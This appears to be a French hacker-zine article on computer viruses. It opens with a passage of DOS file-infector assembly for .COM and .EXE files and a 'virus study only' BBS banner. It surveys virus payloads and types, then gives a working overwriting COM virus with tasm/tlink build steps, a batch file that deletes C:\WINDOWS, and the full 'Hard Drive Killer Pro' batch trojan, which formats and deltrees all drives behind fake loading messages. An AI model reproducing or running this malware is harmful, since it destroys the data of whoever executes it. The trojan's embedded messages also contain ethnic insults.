;*** Proc: Install new ^C and crit. err. interrupt ***

InstCritInt:  push ax
              push bx
              push dx
              push ds
              push es
              push cs
              pop ds
              mov ax,3523h                             ; Get Ctrl-Break Int Addr
              int 21h
              mov I23_Ofs,bx
              mov I23_Seg,es
              mov ax,3524h                              ; Get Crit. Err Int Addr
              int 21h
              mov I24_Ofs,bx
              mov I24_Seg,es
              mov ax,2523h
              mov dx,offset New_I23                 ; Install new Ctrl-Break Int
              int 21h
              mov ax,2524h                           ; Install new Crit. Err Int
              mov dx,offset New_I24
              int 21h
              pop es
              pop ds
              pop dx
              pop bx
              pop ax
              ret
 

;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***

RestCritInt:  mov ax,2524h                           ; Rest. orig. crit. err int
              lds dx,dword ptr cs:[I24_Ofs]
              int 21h
              mov ax,2523h                          ; Rest. orig. ctrl-break int
              lds dx,dword ptr cs:[I23_Ofs]
              int 21h
              push cs
              pop ds
              ret
 

;*** Read header of file ***

Read_header:  mov ah,3Fh
              mov dx,offset Head_buf
              mov cx,18h
              int 21h
              jc HeadRead_Err                      ; Error reading, don't infect

              call Check_infect ; Check file already infected; if not, save data
              jc HeadRead_Err                                      ; Error, quit

              call Calc_data                  ; Calculate data for infected file
              jc HeadRead_Err                                      ; Error, quit

HeadRead_Err: ret
 

;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***

Write_virus:  mov ah,40h                            ; Write virus behind program
              mov cx,[VirSize]
              mov dx,100h
              int 21h
              jc Err_Writ                                    ; Write error, quit
              cmp ax,cx
              jnz Err_Writ                                   ; '   ' '   '  '  '
              test byte ptr [Com_or_exe],1
              jz First_Write
              ret

First_Write:  mov ah,40h                 ; Write orig. 1st 16 bytes behind virus
              mov cx,10h
              mov dx,offset Head_buf
              int 21h
              jc Err_Writ                                    ; Write error, quit
              cmp ax,cx
              jnz Err_Writ                                   ; '   ' '   '  '  '
              clc                                      ; End procedure, no error
              ret

Err_Writ:     stc                                         ; End procedure, error
              ret
 

;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***

Write_header: call Go_file_beg                             ; Go to begin of file
              test byte ptr [Com_or_exe],1                          ; .EXE-file?
              jnz Exe_header
              mov ah,40h                             ; .COM file - Write 'EB 02'
              mov cx,2
              mov dx,offset EB02
              int 21h
              mov ah,40h                            ; Write program-size in pars
              mov cx,2
              mov dx,offset ProgSize
              int 21h
              mov ah,40h                          ; Write rest of begin of virus
              mov cx,0Ch
              mov dx,104h
              int 21h
              ret

Exe_header:   mov ah,40h                                         ; Write in File
              mov cx,18h
              mov dx,offset Head_buf
              int 21h
              ret
 

;*** Proc: Change file pointer ***

Cng_file_ptr: mov ax,4200h
              int 21h
              ret
 

;*** Proc: Go to begin of file ***

Go_file_beg:  xor cx,cx                                        ; Filepointer = 0
              xor dx,dx
              call Cng_file_ptr                            ; Change File Pointer
              ret
 

;*** Proc: Check file is already infected ***

Check_infect: mov si,104h
              mov di,offset Head_buf+4
              push cs
              pop es
              mov byte ptr [Com_or_exe],0                        ; Flag for .COM
              cmp word ptr [di-04],5A4Dh                              ; Is .EXE?
              jz Is_Exe
              mov cx,0Ch                                         ; No, .COM file
              cld
              repz                                           ; Already infected?
              cmpsb
              jnz Do_Infect                                            ; Not yet
Dont_Infect:  stc
              ret
Do_Infect:    clc
              ret
Is_Exe:       mov byte ptr [Com_or_exe],1                        ; Flag for .EXE
              mov cx,[offset Head_buf+14h]                        ; cx = Prog-IP
              cmp cx,offset VirBegin                           ; Same as Vir-IP?
              jz Dont_Infect                                         ; Yes, quit
              cmp word ptr [offset Head_buf+0Ch],0           ; Max extra pars=0?
              jz Dont_Infect                                         ; Yes, quit
              mov [Exe_ip],cx                                     ; Save prog-IP
              mov cx,[Head_buf+16h]
              mov [Exe_cs],cx                                     ; Save prog-cs
              mov cx,[Head_buf+0Eh]
              mov [R_ss],cx                                       ; Save prog-SS
              mov cx,[Head_buf+10h]
              mov [R_sp],cx                                       ; Save prog-SP
              jmp short Do_Infect
 

;*** Proc: Calculate data for infection ***

Calc_data:    mov ax,4202h                                           ; Go to EOF
              xor cx,cx
              xor dx,dx
              int 21h
              test al,0Fh         ; Size mod 16 = 0 (File is exact x paragraps)?
              jz No_par_add                            ; Yes, no extra par added
              add ax,10h                                         ; Add paragraph
              adc dx,0                                      ; Overflow -> Inc dx
              and ax,0FFF0h                                    ; Make paragraphs
No_par_add:   test byte ptr [Com_or_exe],1
              jnz Calc_exe
              or dx,dx
              jnz not_infect
              cmp ax,[maxcomsize]                                ; File too big?
              ja not_infect                                          ; Yes, quit
              cmp ax,[VirSize]                                 ; File too small?
              jbe Not_Infect                                         ; Yes, quit
              mov [ProgSize],ax                              ; Save program-size
              mov cl,4
              shr word ptr [ProgSize],cl                         ; In paragraphs
              mov dx,ax
              xor cx,cx
              call Cng_file_ptr                                      ; Go to EOF
              clc
              ret
Not_Infect:   stc
              ret

Calc_exe:     push ax
              push dx
              add ax,100h                                      ; 100 bytes stack
              adc dx,0                                       ; Overflow - inc dx
              mov cx,dx
              mov dx,ax
              call Cng_file_ptr                                      ; Go to EOF
              push bx
              add ax,[VirSize]                                  ; New exe-length
              adc dx,0
              mov bx,200h                                    ; For header: / 512
              div bx
              or dx,dx
              jz No_Correct
              inc ax          ; Files below 2.000.000h bytes - length correction
No_Correct:   mov [Head_buf+2],dx                         ; Save new file-length
              mov [Head_buf+4],ax                         ; '  ' ' ' '  ' '    '
              pop bx
              pop dx
              pop ax
              call Calc_cs_ss
              mov word ptr [Head_buf+10h],100h                    ; Prog-SP=100h
              mov word ptr [Head_buf+14h],offset VirBegin          ; Set prog-IP
              clc
              ret
 

;*** Proc: Calculate new CS and SS for .EXE file ***

Calc_cs_ss:   push cx
              mov cx,4
Cs_ss_lp:     shr dx,1
              rcr ax,1
              loop Cs_ss_lp
              sub ax,[Head_buf+8]                               ; Size of header
              sbb dx,0
              mov [Head_buf+0Eh],ax                               ; Save prog-SS
              mov [Head_buf+16h],ax                               ; Save prog-cs
              pop cx
              ret
 

;*** Check infection is possible ***

Chk_Inf:      call Chk_exec                           ; Check file is executable
              jb Not_exec
              call Get_attr                         ; Check file has no SYS attr
Not_Exec:     ret
 

;*** Search-paths ***

Com_path      db '.COM',0

Exe_path      db '.EXE',0
 

;*** Check file is executable (.COM / .EXE)

Chk_Exec:     push es
              mov es,R_ds
              mov di,dx
              xor al,al
              mov cx,80h
              cld
              repnz                                                 ; Search '.'
              scasb
              jnz not_inf                                         ; No '.' found
              dec di
              push di
              mov si,offset Com_path+4
              mov cx,4
              std
              repz                                                ; Check '.COM'
              cmpsb
              pop di
              jnz no_com                                               ; No .COM
             clc
              jmp short Infect
              nop
Not_Inf:      stc

Infect:       cld
              pop es
              ret
No_Com:       mov si,offset Exe_path+4
              mov cx,4
              repz                                                ; Check '.EXE'
              cmpsb
              jnz not_inf                      ; No .EXE either - not executable
              clc
              jmp short infect

Get_Attr:     push ds
              mov ax,4300h                                        ; Get FileAttr
              xor cx,cx
              mov ds,R_ds
              int 21h
              pop ds
              jb Bad_Attr                                 ; Error - don't infect
              test cx,4                                           ; System-Attr?
              jnz Bad_Attr                                   ; Yes, don't infect
              clc
              ret

Bad_Attr:     stc
              ret

First_bytes:  int 20h     ; First bytes of orig. program - here just 'Go to DOS'
              dw (?)
              mov bx,cs                                   ; Overwrites the begin
              add bx,[102h]
              push bx
              mov bx,offset VirBegin
              push bx
              retf

;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;
 

Maintenant regardons les fonctionnalités de différents virus:
 

  1. Armagedon: ce virus utilise vos ports locaux COM pour appeler un service local d'information en Grece, ne marche qu'avec des modems exploitant la ligne téléphonique.
  2. Melissa: marche avec Word97, ce virus en .doc s'auto-envoye aux gens dont les adresses e-mails apparaissent dans MS Outlook address book. Ouvert avec Word 2000 il réduit les paramètres de sécurité au minimum.
  3. Yankee 44 A/B: ce programme infecte tout les .exe et .com quand ceux-ci tournent
  4. Vascina TP 33: ce programme infecte les .exe et .com, si il trouve une version de lui plus ancienne que l'actuelle, il l'update par lui-même (nouvelle version)
  5. Tolbuhin 992/1004: ce virus infecte les fichiers .com, de plus le PC rame quand le virus essaye d'infecter un fichier.
  6. Tequila: après sa première infection sur le disque-dur, il n'infecte que les 4 premiers mois, après quoi tout les 4 mois de l'infection il affiche un message d'anniversaire.
  7. Possessed 2443: après que le virus soit actif pour 15 à 20 minutes, tout programme qui tourne sera effacé. Quand aux fichiers infectés (.exe et .com) il contiendront le mot "POSSESSED!"
  8. PM trojan (OCX): ce programme remplace les fichiers PWL et de passwords ICQ de l'utilisateur du système: un animation apparait pour faire comme si rien de spécial n'arrive.
  9. Omega: quand le virus est activé un Vendredi 13, le symbole omega apparait et le disque-dur est réécrit.
  10. Nuke Marauder 860: tous les 2 février ce virus écrit sur les fichiers .com la commande INT 20h (retour à DOS).
  11. MSK 284/293: inefecte TOUS les .exe et .com dans le répertoire où il se trouve et peut corrompre le C:
  12. Keypress: je vous avais donné le code source plus haut, ce virus s'active toutes les 30 minutes.
  13. Hymn Hymn: quand le mois et le jour sont identiques (ex: 12/12) le virus détruit les secteurs boot du HD, joue de la musique, et affiche un message.
  14. Anti-Pascal 605: le virus change la date et l'heure d'un programme infecté. De plus il efface tous les fichiers .bak et .pas.


Remarque: il est évident que cette partie est incomplète, pour preuve: ceci ne sont des détails que sur 14 des 750 virus que j'ai en banque de donnée. Il sort en moyenne 100 virus par mois, donc cette liste ne sert qu'à vous donnez un aspect global des fonctionnalités des différents virus.

Les différents types de virus:

Ca sert à rien de répéter ce qui est déjà dit, mais un article sur les virus sans ça, c'est dommage.

- Virus de fichier, ou virus à action directe:
Ces virus ajoutent leur code à celui de fichiers executables (avec l'extension .EXE, .COM, .SYS, etc)

-Virus résidents:
Ces virus se chargent en mémoire centrale et, de là, contaminent d'autres programmes.

- Virus du secteur d'amorce des disques:
Ces virus remplace l'amorce d'un disque par leur propre code, déplacant cette amorce sur le disque et se chargent ensuite en premier en mémoire centrale, dés les premiers accés aux disques.
De là, il rendent inutilisable le disque d'amorçage ou se propagent à d'autre disque où ils commettent alors leurs Payload. (en englais action /méfait)

-Virus furtifs:
Voici une catégories de virus qui échappe à toutes détection en se camouflant.
Il faut savoir qu'une méthode de détection classique des virus triviaux consiste à enregistrer la longeur d'un programme. Lorsqu'un virus frappe ce dernier, il ajoute son propre code ce qui par conséqunt accroît la taille du fichier infecté.
Or, un virus furtif, lui, s'arrange pour qu'on lise toujours la même longeur pour le fichier contaminé. Si vous lancez un Dir (sous Dos) par exemple, le virus détourne cette demande, effectue un petit calcul et hop! affiche la taille initial du fichier non contaminé. (pas con la petite bête ! ..)

- Virus cryptés:
Les virus cryptés sont encore plus vicieux. Ils modifie leur popre code par cryptage (XOR en assembleur pour les connaisseurs).
Il existe des multitudes de moteur de cryptage dont le plus connus est le MTE (Mutation Engine) de Dark Avenger.

- Virus polymorphe ou mutant:
Ces derniers sont encore plus malin car ils modifient leurs propre signature à chaque contamination. En effet, il faut savoir que les Anti-Virus recherche en priorité les signatures des virus, c'est à dire les chaînes de caractères qui lui sont propres. Et là, héhé ils sont pas dans la merde moi je vous le dis.

- Virus pièges:
Le virus piège associe un virus connu à un virus encore inconnu. Vous détectez le premier et, tout happy vous l'éliminez en le détruisant, mais le secon lui subsiste. (Nice shot !)

- Rétrovirus:
Le rétrovirus est un virus spécialement créé pour contrer et déjouer les fonctions d'un logiciel antivirus donné. Connaissant le mode d'action de cet antivirus, il le contre et déjoue ses pièges.

Pourquoi code-t-on les virus en assembleur:

L'asm est l'abbréviation de "assembleur". Les fichiers programmés en assembleur et non compilés sont de type .asm., une fois compilés ils prennent la forme d'un .exe. Si les virus sont programmés en assembleur c'est parce que l'assembleur est le language machine, et qu'à partir du moment où un programme est programmé en assembleur il peut TOUT faire sur le système d'exploitation.
Porgrammer en assembleur requiert donc de:
- connaitre le système d'exploitation
- connaitre ce language de programmation
Autre avantage de l'assembleur, c'est que les programmes fait en assembleur sont assez petits (quelques ko), ce qui peut cependant évoquer une certaine méfiance.

En quoi Linux/UNIX est "immunisé" contre les virus:

Linux a deux caractéristiques qu'il faut retenir:
Exécution en mode protégé sur les processeurs x86. Protection de la mémoire entre les processus, afin qu'un programme ne puisse à lui seul compromettre le fonctionnement de l'ensemble du système. Donc les virus résidents ne peuvent pas se propager (c.f. plus haut)
Donc même si les virus ne peuvent pas se lancer, les mouchards (sniffers) le peuvent.

Programmation de virus (par Syphillis [Beef13]):

Ce programme est tout simple : Il cherche les fichiers COM dans le rep courant
et les infecte en se copiant au tout debut du fichier.

Mais comment chercher des fichiers ?
En utilisant la fonction de l'API DOS appropriée. Comment la connaitre ? En
lisant le truc sur les interrupt de DEF ou HELPPC ou la Bible PC.
Bon dans notre cas, il s'agit des fonctions 4Eh et 4Fh. Ces fonctions
correspondent aux fonctions C findfirst() et findnext() mais ici on n'a pas
de ffblk.
Il faut d'abord appeler la fonction 4Eh ( findfirst ) avec comme paramètre
en AH le numéro de la fonc et en dx l'OFFSET sur une chaine ASCIIZ (qui finit
par un zero si t es trop con pour savoir ce que c'est ) avec le nom du fichier
à rechercher ( les caractères jokers sont acceptés ).
En retour le CARRY FLAG est arm‚ si y a pas de fichier. Si un fichier est
trouvé plein de trucs sont mis dansl la DTA qui est toujours située à partir
de l'OFFSET 80h du PSP. Le nom du fichier se trouve à L OFFSET 9Eh. Pour
rechercher un autre fichier, il suffit d'appeler la fonction 4Fh ( mov ah,4Fh)
puis int 21h).

Bon maintenant on sait chercher des fichiers. Mais comment s'en servir.
Souviens toi qu'on a le nom du fichier qu'on vient de trouver à l offset 9Eh,
au debut du segment dans le PSP ( Prefix Segment Program ou l inverse sais
plus).
Il va encore falloir se servir des fonctions de l'API DOS. Les utiles ici
sont au nombre de trois :
la 3Dh  : ouvrir un fichier  (Handle)
la 3Eh  : fermer un fichier  (Handle)
la 40h  : écrire dans un fichier (Handle)
Dans le monde de DOS il existe 2 moyens de se servir des fichiers : le FCB
et les Handles. Nous utiliserons les Handle qui sont beaucoup plus pratique
dans cette situation.

pour ouvrir un fichier, il suffit de foutre en AH le numéro de la fontion
(3Dh) en AL les attributs et en dx l'offset sur la chaine ASCIIZ du nom de
fichier puis un petit int 21h et le tour est joué. Cette fonction renvoie
le Handle du fichier en AX. Mais comme toutes les autres fonctions le veulent
en BX ou le foutra en BX toute suite grâce à un xchg ax,bx.

Puis on écrit dedans le virus au tout début du fichier. Etant donné qu'il
viens d'être ouvert, il est au tout début et pas de soucis à avoir de ce côté‚
là. Pour ecrire fous en AH 40h, en Bx le Handle, en CX la taille et en DX
l'offset du buffer à écrire. Dans notre cas l'offset est égal à 100h
( fin du PSP et début du prog). La taille a été codée directement mais
on aurait pu mettre un OFFSET machin avec un machin: à la fin du file
pour ke tout soit OK.

Reste à fermer le fichier avec la fonction 3Eh qui attends le handle en BX
et le tour et joué.
Voici maintenant le fichier. Grâce … queqlques astuces dans son organisation
j ai pu réduire sa taille au max.

-------------------------- Fichier HACKER1.ASM  ---------------------------------

; Ce virus est un virus débile !!!!!

.model small                        ;modele de mémoire
.code                              ;segment de code

        ORG     100h               ;un COM commence … l adresse mémoire 100h

CON1:

        mov     ah,4Eh             ; Rechercher le premier COM du répertoire
        mov     dx,OFFSET FILESPEC
        int     21h

INFECT:

        jc      FIN                ; si aucun -> FIN
        mov     ax,3D01h           ; un fichier a été trouvé :
        mov     dx,9Eh             ; l'ouvrir
        int     21h

        xchg    ax,bx              ;Handle en BX

        mov     ah,40h             ;Ecrire le virus au début du fichier
        mov     cx,2Dh              ;Taille du virus
        mov     dx,100h
        int     21h

        mov     ah,3Eh             ;fermer le fichier
        int     21h

        mov     ah,4Fh             ;chercher fichier suivant
        int     21h
        jmp     INFECT

FIN:
        ret

        FILESPEC DB '*.COM',0 ; Doit finir par un zéro !

        END IGA1

------------------------------- Fin du Fichier -------------------------------
Voilà c'est tout !
Pour le compiler : tasm HACKER1
                   tlink /t HACKER1
et on a le fichier hacker1.com
Si tu ne comprends pas ce code, passe ton chemin !

Si toi tester ce virus, il detruira tous les fichiers COM du répertoire !
C'est un peu ennuyeux si on veux rester discret.

Un autre truc. Il ne marche pas avec les fichiers EXE. C normal, ceux ci
ayant un en-tête precis et pouvant faire plusieurs segment, ils sont plus
compliqués à infecter.

Remarque: je n'ai pas vérifié la véracité de ces faits, de plus au niveau de la compilation du programme je pense qu'il vaut mieux rajouter ces quelques lignes (Note de Clad Strife):
Le programme doit être saisi dans un fichier texte non formatté (c'est-à-dire sans caractères en gras, souligné, avec des polices de caractères de différentes tailles, ...) appelé fichier source. En effet, l'assembleur (le programme permettant de faire la traduction du langage assembleur en langage machine) permet uniquement de créer un fichier assemblé à partir du fichier source (il devra comporter l'extension .ASM, en s'appelant par exemple source.asm ou n'importe quel autre nom suivi de l'extension .asm).
L'assembleur va fournir un fichier objet (dont l'extension est .obj) qui va contenir l'ensemble des instructions traduites en instructions machines. Ce fichier .OBJ ne pourra toutefois pas s'exécuter directement car il faut encore lier les différents fichiers.
Comment ça les différents fichiers?
En effet il est possible de construire un exécutable à partir de plusieurs fichiers sources (à partir d'un certain niveau de programmation il devient intéressant de créer des fichiers contenant des fonctions...). Ainsi, même si vous avez un seul fichier objet il vous faudra utiliser un programme (appelé éditeur de liens) qui va vous permettre de créer un fichier exécutable (dont l'extension sera .exe).
A quoi ressemble un fichier en assembleur:
Comme dans tout programme le fichier source doit être saisi de manière rigoureuse. Chaque définition et chaque instruction doivent ainsi s'écrire sur une nouvelle ligne (pour que l'assembleur puisse les différencier) Le fichier source contient:
Des définitions de données déclarées par des directives (mots spéciaux interprétés par l'assembleur, nous les étudierons plus tard, le but est ici de donner une idée de ce à quoi ressemble un fichier source) Celles-ci sont regroupées dans le segment de données délimité par les directives SEGMENT et ENDS
Puis sont placées les instructions (qui sont en quelques sorte le coeur du programme), la première devant être précédée d'une étiquette, c'est-à-dire un nom qu'on lui donne. Celles-ci sont regroupées dans le segment d'instructions délimité par les directives SEGMENT et ENDS
Enfin le fichier doit être terminé par la directive END suivi du nom de l'étiquette de la première instruction (pour permettre au compilateur de connaître la première instruction à exécuter
(Les points-virgules marquent le début des commentaires, c'est-à-dire que tous les caractères situés à droite d'un point virgule seront ignorés)
Voici à quoi ressemble un fichier source (fichier .ASM):

donnees    SEGMENT; voici le segment de données dont l'étiquette est donnees

 ;Placez ici les déclarations de données

donnees  ENDS; ici se termine le segment de donnees
 
 

ASSUME DS:data, CS: code
 
 

instr SEGMENT; voici le segment d'instructions dont l'etiquette est instr

 debut:  ;placez ici votre premiere instruction (son etiquette est nommée debut)

   ;Placez ici vos instructions

instr ENDS; fin du segment d'instructions
 
 

END debut; fin du programme suivie de l'etiquette de la premiere instruction
 

la déclaration d'un segment
Comme nous le verrons plus loin <segmentation.htm>, les données sont regroupées dans une zone de la mémoire appelé segment de données, tandis que les instructions se situent dans un segment d'instructions.
Le registre DS (Data Segment) contient le segment de données, tandis que le registre CS (Code Segment) contient le segment d'instructions. C'est la directive ASSUME qui permet d'indiquer à l'assembleur où se situe le segment de données et le segment de code.
Puis il s'agit d'initialiser le segment de données:
MOV AX, nom_du_segment_de_donnees
MOV DS, AX

On va s'en arrêter là pour la programmation en assembleur.

Bases de la programmation de .bat:

La création de fichiers .bat est simple: il suffit de s'y connaitre un peu en MS-DOS, et savoir taper sur son clavier. D'abord quelqes commandes de bases:
echo off : désactive l'affichage de ce qui se passe
dir C:\WINDOWS : affiche le contenu de C:\WINDOWS
del C:\WINDOWS\*.exe : efface tous les fichiers .exe du C:\WINDOWS
echo. : saute une ligne
echo J'écris bien hein? : affiche ce qui est écrit après [echo]
cls : efface l'écran
pause : demande d'appuyez sur une touche pour continuer
C:\WINDOWS\telnet.exe : éxécute telnet
Donc voici le genre de fichiers .bat extrèmement dangereux que vous pouvez faire:
echo off
echo this programm is created by XXX all rights reserved
pause
del C:\WINDOWS\*.*
dir C:\WINDOWS\
echo t'es mort
cls
On peut aussi créer des menus d'options:
@echo off
:menu
cls
echo.
echo Menu d'options :
echo -----------------------
echo 1. Editer autoexec.bat
echo 2. Editer config.sys
echo.
echo Q. Quitter
echo.
choice /c:12Q /t:Q,60 /n Votre choix ?
if errorlevel 255 goto erreur
if errorlevel 3 goto Quitter
if errorlevel 2 goto EditConf
if errorlevel 1 goto EditAuto
if errorlevel 0 goto erreur
goto fin
:erreur
echo Il y a eu une erreur.
goto fin
:Quitter
goto fin
:EditConf
edit c:\config.sys
goto menu
:EditAuto
edit c:\autoexec.bat
goto menu
:fin
Si vous n'avez pas compris le passage sur la commande choice et errorlevel, voilà de quoi vous aider:
Aide sur CHOICE :
choice [/c:ON] [/t:X,nn] [/n] [Invite]
/c:ON Choix de lettres utilisables (ici O et N) (ON par défaut)
/t:X,nn Choisira automatiquement option X après nn secondes. X doit faire parti de la liste /c:
/n Interdit le respect de la casse
Invite Texte d'invite qui apparaît
Errorlevel correspond au choix de l'utilisateur. c'est comme la variable de réponse en Q-Basic.
Paramètre de la ligne de commande
@echo off
cls
echo.
echo Le prog est %0
echo.
echo Bonjour %1,
echo.
echo A plus, %2
Enregistrer sous "c:\test.bat" et taper sous dos :
c:\test.bat "votrenom" "unAutrenom"
%X correspond au Xième groupe de caractères sur la ligne de commande pour X={0;9}
Très pratique pour faire un prog d'installation :
xcopy a:\*.* %1:\%2
Ici, %1 est la lettre de lecteur et %2 le dossier.

Virus en .bat:

L'article qui va suivre va faire une brève description d'un virus en .bat qui est malheureusement détecté par AVP et Norton (synonyme de qualité donc), comme trojan. Au sens littéral du terme un trojan et un virus se différencie par très peu de choses: un virus s'inscrit partout sur un HD (pour parler aussi simplement), un trojan non. Il existe 2 sortes de trojans:
- les trojans usuels (que vous connaissez et qui se foutent comme serveur sur votre bécane)
- les trojans destructeurs (celui qui va suivre)
Voici le code source à copier dans un .txt et à renommer en .bat.
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:testdrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. If you are Australian, I feel sorry for you, accept my sympathy, you retard. >>c:\autoexec.bat
echo echo 5. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S  >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo     Q). What's the worst thing about being an egg?
echo  A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).

Article de Libération sur les "pompiers du net":

